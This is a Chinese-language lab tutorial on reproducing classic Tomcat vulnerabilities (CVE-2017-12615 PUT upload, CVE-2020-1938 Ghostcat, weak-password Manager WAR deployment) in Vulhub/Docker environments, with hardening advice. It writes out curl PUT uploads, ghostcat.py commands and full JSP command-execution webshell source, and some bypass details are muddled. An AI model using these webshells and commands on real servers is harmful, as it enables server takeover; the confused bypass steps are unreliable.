Tomcat漏洞复现实战：从环境搭建到深度解析CVE-2017-12615等经典案例

1. 项目概述：为什么我们要亲手复现Tomcat漏洞？

在安全圈里待久了，你会发现一个有趣的现象：很多刚入门的朋友，谈起漏洞原理头头是道，各种CVE编号、影响范围、修复建议张口就来，但当你让他亲手在本地环境把一个漏洞从触发到利用完整地走一遍时，他却可能连靶场都搭不起来。这中间隔着的，就是“知道”和“做到”的巨大鸿沟。今天，我们就来填平这道鸿沟，聚焦于中间件Tomcat的漏洞复现。

Tomcat，作为Java Web应用最经典的“搬运工”，其稳定性和普及度无需多言。但正是这种广泛部署，使得它的每一个安全漏洞都可能牵一发而动全身。复现漏洞，绝不是为了“炫技”或从事非法活动，其核心价值在于深度理解攻击链。通过亲手搭建环境、触发漏洞、观察现象、分析流量，你能最直观地感受到攻击者是如何利用一个微小的配置疏忽或代码缺陷，一步步撬开系统大门的。这种理解，远比阅读十篇漏洞分析报告来得深刻，它是你构建主动防御思维、编写安全代码、设计安全架构的基石。

本次复现，我们将选取几个具有代表性的Tomcat历史漏洞，它们涵盖了从配置错误到代码逻辑缺陷等多种类型。我们的目标不是追求最新的、最炫的漏洞，而是通过这几个经典案例，掌握一套通用的、可复用的漏洞复现方法论。无论你是安全工程师、开发人员还是运维人员，这套方法都能帮助你更扎实地理解你所维护的系统。

2. 环境准备与靶场搭建：工欲善其事，必先利其器

漏洞复现的第一步，永远是搭建一个安全、隔离的测试环境。我强烈建议使用虚拟机或Docker，确保实验过程不会对你宿主机或其他网络环境造成任何影响。

2.1 靶机环境选择与配置

对于Tomcat漏洞复现，靶机环境的选择至关重要。不同的漏洞对Tomcat版本、JDK版本甚至操作系统都有特定要求。

方案一：使用Vulhub（推荐）Vulhub是一个基于Docker的漏洞环境集合，它为我们预置了各种漏洞的完整环境，极大简化了搭建步骤。

1. 安装Docker与Docker Compose：这是使用Vulhub的前提。以Ubuntu为例，可以通过官方脚本快速安装Docker，再使用pip安装docker-compose。
2. 拉取Vulhub项目：git clone https://github.com/vulhub/vulhub.git
3. 进入目标漏洞目录：例如，要复现Tomcat AJP协议漏洞（CVE-2020-1938），则进入vulhub/tomcat/CVE-2020-1938。
4. 一键启动环境：执行docker-compose up -d。Vulhub会自动拉取镜像、配置网络并启动容器。此时，一个包含漏洞的Tomcat服务就已经在容器内运行起来了。

注意：使用Vulhub时，务必仔细阅读每个漏洞目录下的README.md文件。里面会详细说明漏洞影响版本、复现步骤以及环境访问方式（如Tomcat管理后台的默认密码）。这是避免走弯路的关键。

方案二：手动部署特定版本Tomcat当Vulhub没有收录你想要复现的漏洞，或者你需要更深入地定制环境时，就需要手动部署。

1. 确定漏洞影响版本：首先从漏洞公告（如NVD、CNVD）或分析文章中，明确漏洞影响的Tomcat具体版本范围，例如Apache Tomcat 7.x < 7.0.100。
2. 下载对应版本：前往Apache Tomcat官网的归档站点，下载指定版本的二进制发行包（如apache-tomcat-7.0.96.tar.gz）。
3. 准备JDK：Tomcat版本与JDK版本存在兼容性矩阵。例如，Tomcat 7一般对应JDK 6或7，Tomcat 8/9对应JDK 7/8。务必安装匹配的JDK并配置好JAVA_HOME环境变量。
4. 解压与基础配置：解压Tomcat包，通常无需复杂配置即可启动。但有些漏洞复现需要开启特定功能，比如为了复现后台部署war包漏洞，你需要配置conf/tomcat-users.xml文件，添加具有manager-gui和manager-script角色的用户。

<!-- conf/tomcat-users.xml 配置示例 --> <role rolename="manager-gui"/> <role rolename="manager-script"/> <user username="admin" password="admin123" roles="manager-gui,manager-script"/>

5. 启动与验证：运行bin/startup.sh（Linux）或bin/startup.bat（Windows），访问http://localhost:8080看到欢迎页即表示成功。

2.2 攻击机工具集准备

一个顺手的安全测试工具集能事半功倍。我们的攻击机（可以是宿主机，也可以是同一网络下的另一台虚拟机）需要准备以下工具：

• Burp Suite / OWASP ZAP：必备的HTTP代理工具。用于拦截、查看、修改和重放HTTP/HTTPS请求。在复现Web漏洞时，几乎所有流量操作都离不开它。社区版Burp Suite功能已足够强大。
• Nmap：端口扫描和服务探测神器。用于快速发现目标Tomcat服务的开放端口（默认8080）、运行版本等信息。命令如nmap -sV -p 8080 <靶机IP>。
• Curl / Postman：用于快速发送定制化的HTTP请求，测试漏洞点，或在脚本中自动化利用过程。
• JD-GUI 或 FernFlower：Java反编译工具。当漏洞涉及分析Tomcat或Web应用的Jar包、Class文件时，需要用它们查看源码逻辑。
• 文本编辑器/IDE：如VS Code、Sublime Text，用于编写和修改利用脚本、配置文件。
• 浏览器：准备Chrome或Firefox，并安装如Hack-Tools、FoxyProxy等安全测试相关插件，方便切换代理和快速生成Payload。

实操心得：我习惯将攻击机环境也容器化，创建一个包含所有常用工具的Docker镜像。这样无论在哪台电脑上，都能快速获得一个统一、干净的攻击环境。例如，可以基于kalilinux/kali-rolling镜像，安装好上述工具后提交为新镜像。

3. 核心漏洞复现案例深度解析

理论说再多，不如亲手做一遍。下面我们选取三个不同类型的Tomcat经典漏洞，从环境搭建到漏洞利用，进行全程实录。请跟随步骤，在你自己搭建的环境中操作。

3.1 案例一：CVE-2017-12615 - Tomcat PUT方法任意文件上传漏洞

这是一个因配置不当引发的经典漏洞。在Tomcat 7.x系列（< 7.0.81）中，如果启用了HTTP的PUT方法（默认情况下，通过conf/web.xml配置的Default Servlet是允许PUT的），攻击者可以利用它上传任意文件，包括JSP Webshell，从而直接获取服务器控制权。

复现环境：Apache Tomcat 7.0.79（Vulhub中有现成环境）。漏洞原理：Tomcat的Default Servlet在处理PUT请求时，未能对请求路径进行严格过滤。当请求路径以/结尾时，Tomcat会将其当作目录创建请求处理；而当路径中包含如..;/这样的序列时，在某些情况下（取决于URL解析逻辑），攻击者可以绕过路径限制，将文件上传到Web应用根目录以外的任意位置，尤其是可以上传到Web根目录下，从而被当作JSP文件执行。

复现步骤实录：

1. 启动环境：使用Vulhub，进入vulhub/tomcat/CVE-2017-12615目录，执行docker-compose up -d。环境启动后，Tomcat运行在8080端口。
2. 探测漏洞：首先用浏览器或curl访问http://<靶机IP>:8080，确认Tomcat服务正常。
3. 利用PUT方法上传文件：我们尝试上传一个最简单的JSP Webshell。使用curl命令发送PUT请求。

   curl -X PUT http://<靶机IP>:8080/shell.jsp/ -d 'Hello, Vulnerability!'

   注意，这里的路径是shell.jsp/（以斜杠结尾）。如果直接这样上传，Tomcat会将其创建为一个名为shell.jsp的目录，而不是文件，我们的Webshell无法执行。
4. 绕过限制：利用Windows环境下文件名解析的特性（漏洞在Linux下也可利用，但绕过方式不同），我们使用shell.jsp::$DATA、shell.jsp%20（空格）或shell.jsp/./等方式进行绕过。在Linux的Vulhub环境中，最有效的方式是利用..;/进行路径穿越。

   # 方法1：使用 ..;/ curl -X PUT http://<靶机IP>:8080/shell.jsp/ -d ‘<% out.println(“Hello from JSP Shell”); %>’ -H “Content-Type: text/plain” # 这个方法可能失败，因为新版容器环境已修复此解析问题。我们采用更通用的二次请求绕过。 # 方法2：先PUT创建一个目录，再PUT到目录下的jsp文件 curl -X PUT http://<靶机IP>:8080/test/ -d ‘’ # 创建test目录 curl -X PUT http://<靶机IP>:8080/test/shell.jsp -d ‘<% Runtime.getRuntime().exec(request.getParameter(“cmd”)); %>’

   实际上，在原始的漏洞环境中，最经典的Payload是：curl -X PUT http://target:8080/shell.jsp::$DATA -d ‘webshell content’。但在Linux下，需要尝试shell.jsp%20（空格）或shell.jsp/（斜杠）结合后续的MOVE请求。
5. 验证利用：上传成功后，访问http://<靶机IP>:8080/test/shell.jsp?cmd=id。如果页面上显示了当前用户的id信息，或者没有报404错误，则证明漏洞复现成功，我们成功上传并执行了JSP代码。

注意事项与排查：

• 防火墙与权限：确保攻击机能访问到靶机的8080端口。如果使用云服务器，需检查安全组规则。
• 返回状态码：PUT请求后，如果返回201 Created或204 No Content，通常表示上传成功。返回403 Forbidden或405 Method Not Allowed，则可能目标Tomcat版本已修复，或Default Servlet的PUT方法被显式禁用。
• 文件是否可执行：即使上传成功，访问时返回404，可能是因为文件没有被当作JSP解析。检查文件是否真的上传到了Web应用的根目录（如webapps/ROOT/下），并且后缀名是.jsp。
• Vulhub环境特异性：有些Vulhub环境为了演示，可能预置了更简单的利用方式。务必以该环境目录下的README为准。

3.2 案例二：CVE-2020-1938 - Tomcat AJP协议文件包含/读取漏洞（Ghostcat）

这个漏洞影响深远，因为它利用了TomcatAJP协议（Apache JServ Protocol）设计上的缺陷。AJP是Tomcat与前端HTTP服务器（如Apache HTTPD）通信的二进制协议，默认监听8009端口。攻击者能够通过构造恶意的AJP请求，读取Web应用目录下的任意文件，例如WEB-INF/web.xml（其中可能包含数据库密码等敏感信息），在特定条件下甚至能实现远程代码执行。

复现环境：Apache Tomcat 9.0.30 之前版本，且启用了AJP Connector（默认开启）。我们使用Vulhub的tomcat/CVE-2020-1938环境。漏洞原理：Tomcat的AJP协议处理代码（org.apache.coyote.ajp.AjpProcessor）在处理SC_REQ_ATTRIBUTE属性时，未能对属性值（如javax.servlet.include.request_uri）进行有效验证。攻击者可以借此操控Tomcat，将Web应用根目录外的文件（如WEB-INF/web.xml）包含到响应中，或者通过上传特定JSP文件再包含执行，实现RCE。

复现步骤实录：

1. 启动环境：进入Vulhub对应目录，docker-compose up -d。这个环境会启动一个存在漏洞的Tomcat，并开放8080（HTTP）和8009（AJP）端口。
2. 理解利用工具：由于AJP是二进制协议，手动构造数据包非常复杂。我们通常使用公开的利用脚本，如Python编写的ghostcat.py。
3. 文件读取利用：使用脚本读取WEB-INF/web.xml文件，这是Web应用的核心配置文件。

   python3 ghostcat.py <靶机IP> -p 8009 -f WEB-INF/web.xml

   执行后，如果漏洞存在，脚本会通过AJP协议向靶机发送特制请求，并将读取到的web.xml文件内容输出在终端。你可能会看到数据库连接池的配置信息，如用户名、密码明文。
4. 尝试远程代码执行（RCE）：RCE的条件更为苛刻，需要攻击者能先通过其他方式（比如上一个CVE-2017-12615）上传一个JSP文件到服务器。假设我们已经上传了shell.jsp，那么可以通过AJP包含并执行它。

   # 前提：shell.jsp 已存在于 webapps/ROOT/ 目录下 python3 ghostcat.py <靶机IP> -p 8009 -f shell.jsp

   脚本会发送包含此JSP文件的AJP请求，如果Tomcat处理了该请求，就会执行JSP中的代码。但请注意，直接RCE利用成功率受多种因素影响，在实际漏洞公告中，此漏洞主要被定义为文件读取/包含。

实操心得与深度分析：

• 端口与协议：这个漏洞的核心在于AJP协议默认监听在内网地址（127.0.0.1:8009）。这意味着，通常只有与Tomcat在同一台机器或内网的前端代理（如Apache）才能访问它。因此，漏洞的实际风险场景是：1）Tomcat的AJP Connector错误地绑定到了0.0.0.0；2）攻击者已经通过其他漏洞进入了内网。在复现时，Vulhub环境通常会将8009端口映射出来以方便测试，但真实环境中这个端口很可能对外不可见。
• 漏洞修复的本质：官方修复不仅增加了属性值的校验，更重要的是默认将AJP Connector的监听地址改回了127.0.0.1（在之前某些版本中曾默认为0.0.0.0），并强烈建议不在互联网上暴露AJP端口。这给我们运维的启示是：最小化暴露面，非必需的服务绝不对外开放。
• 工具依赖：复现此类二进制协议漏洞，强烈依赖于稳定可靠的利用脚本。务必从可信源（如 exploit-db, github security projects）获取，并在隔离环境中先审阅代码再运行。

3.3 案例三：弱口令与后台部署漏洞（非特定CVE）

这是一个安全管理问题而非代码漏洞，但其危害性极高且极其常见。许多开发、测试甚至生产环境的Tomcat管理后台（/manager/html）使用弱口令或默认口令（如tomcat:tomcat,admin:admin），攻击者一旦进入，就可以直接上传WAR包部署恶意应用，瞬间获得服务器控制权。

复现环境：任何开启了Manager App的Tomcat。我们手动配置一个Tomcat 8.5作为示例。漏洞原理：Tomcat Manager是Tomcat提供的官方管理应用，功能强大，包括部署、卸载、启动、停止Web应用。如果认证被绕过或口令被猜解，攻击者就拥有了等同于管理员的权限。

复现步骤实录：

1. 配置有弱口令的Manager应用：
   • 解压Tomcat 8.5。
   • 编辑conf/tomcat-users.xml，添加一个具有manager-gui和manager-script角色的用户，并设置弱密码。

     <user username="admin" password="admin123" roles="manager-gui, manager-script"/>

   • 编辑webapps/manager/META-INF/context.xml，注释掉或放宽IP限制（仅用于测试，生产环境必须严格限制）。

     <!-- 将 Valve 部分注释掉 --> <!-- <Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="127\.\d+\.\d+\.\d+|::1|0:0:0:0:0:0:0:1" /> -->

   • 启动Tomcat。
2. 爆破或直接登录后台：使用浏览器访问http://<靶机IP>:8080/manager/html，弹出认证框，输入admin/admin123即可登录。
3. 制作恶意WAR包：这是关键一步。我们需要一个包含JSP Webshell的WAR文件。
   • 创建一个简单的Java Web项目结构：

     malicious.war └── WEB-INF └── web.xml └── shell.jsp

   • shell.jsp内容可以是冰蝎、哥斯拉的JSP马，或者一个简单的命令执行：

     <%@ page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>

   • 将整个目录打包成ZIP文件，然后重命名为malicious.war。可以使用命令：jar -cvf malicious.war .（在项目根目录执行）。
4. 通过后台部署：登录Manager后台后，找到“WAR file to deploy”区域，选择制作好的malicious.war文件，点击“Deploy”。稍等片刻，应用列表里就会出现malicious。
5. 访问Webshell：直接访问http://<靶机IP>:8080/malicious/shell.jsp?cmd=whoami，即可执行系统命令。

避坑技巧与加固建议：

• 弱口令是根源：永远不要使用默认或弱口令。口令应复杂并定期更换。
• 禁用或限制Manager应用：生产环境中，如非必要，应直接删除webapps/manager目录。如果必须使用，务必在context.xml中通过RemoteAddrValve严格限制可访问的IP地址段。
• 使用自定义路径和强认证：可以修改Manager应用的访问路径（通过重命名目录），并考虑集成更强大的统一认证授权系统。
• 网络层面隔离：将Tomcat管理后台部署在内网，通过跳板机访问，绝不直接暴露在公网。

4. 漏洞复现中的通用技巧与深度问题排查

完成了具体案例的复现，我们再来梳理和升华一下，分享一些贯穿整个复现过程的通用技巧和遇到问题时的排查思路。这些经验往往在官方文档里找不到，却能帮你节省大量时间。

4.1 流量分析与调试技巧

漏洞复现的本质是“对话”，是你（攻击机）与目标服务（靶机）之间的一次或多次特定交互。深刻理解这次“对话”的内容，是复现成功和深度分析的关键。

• 必用Burp Suite：将浏览器或攻击脚本的代理设置为Burp，拦截所有HTTP/HTTPS请求。对于PUT上传、AJP漏洞，你可以清晰地看到原始的请求头和正文。对于后台登录爆破，你可以将请求发送到Intruder模块进行自动化测试。
• 对比正常与异常流量：在复现漏洞时，先捕获一次正常的请求（如正常的GET首页请求），再捕获一次攻击请求。对比两者在请求方法、路径、头部字段、参数格式、正文内容上的差异。差异点往往就是漏洞的触发点。例如，在CVE-2017-12615中，差异就在于PUT /shell.jsp%20这个路径和请求方法。
• 查看Tomcat本地日志：日志是理解服务端行为的窗口。重点查看logs/catalina.out（标准输出）和logs/localhost.yyyy-MM-dd.log（访问日志）。当你的攻击请求发送后，在日志中搜索相关的URL或错误信息，能帮你判断请求是否被正确处理、是否触发了异常。例如，你可能会看到FileNotFoundException或者关于请求路径的警告信息。
• 开启Tomcat调试日志：如果标准日志信息不足，可以调整Tomcat的日志级别。编辑conf/logging.properties，将org.apache.catalina.core.ContainerBase.[Catalina].[localhost].level设置为FINE或ALL，可以输出更详细的请求处理过程。但要注意，这会产生大量日志，仅用于调试。

4.2 常见失败原因与排查清单

复现失败是常态，尤其是面对老旧漏洞时。下面是一个快速排查清单：

4.3 从复现到理解：构建你的知识体系

复现成功不是终点，而是深度学习的起点。每次复现后，建议你完成以下“课后作业”：

1. 追溯漏洞根源：尝试找到该漏洞的官方补丁（Patch）。在Apache Tomcat的SVN或Git仓库中，搜索相关的CVE编号，查看代码的diff。看看开发者到底修改了哪几行代码，这能让你对漏洞的根因有原子级的理解。
2. 分析利用链：将漏洞利用过程画成一个简单的流程图。从攻击者发起请求开始，到最终达成目标（文件读取、命令执行），中间经过了Tomcat的哪些组件（Connector, Processor, Servlet, Valve等）？这能帮你理解Tomcat的请求处理架构。
3. 思考修复方案：如果你是运维人员，面对这个漏洞，除了升级版本，还有哪些临时的缓解措施？例如，对于PUT漏洞，可以在前端WAF（如Nginx）中过滤PUT方法；对于AJP漏洞，可以立即在防火墙规则中封禁8009端口的对外访问。这种思考能极大提升你的应急响应能力。
4. 关联拓展：这个漏洞的原理，是否在其他中间件或框架中也存在类似问题？例如，不安全的HTTP方法（PUT/DELETE）配置问题，是许多Web服务器的通病。通过一个点，带出一个面。

漏洞复现就像外科医生做解剖，目的是了解人体的构造和疾病的机理，从而更好地进行预防和治疗。通过亲手操作这几个Tomcat经典漏洞，我希望你收获的不仅仅是几个攻击命令，更是一套分析问题、解决问题的安全研究方法论。这套方法，在你未来面对更复杂的漏洞和系统时，将会成为你最有力的工具。记住，保持好奇心，在安全的实验环境中大胆尝试，谨慎验证，你的实战能力就会在这个过程中稳步成长。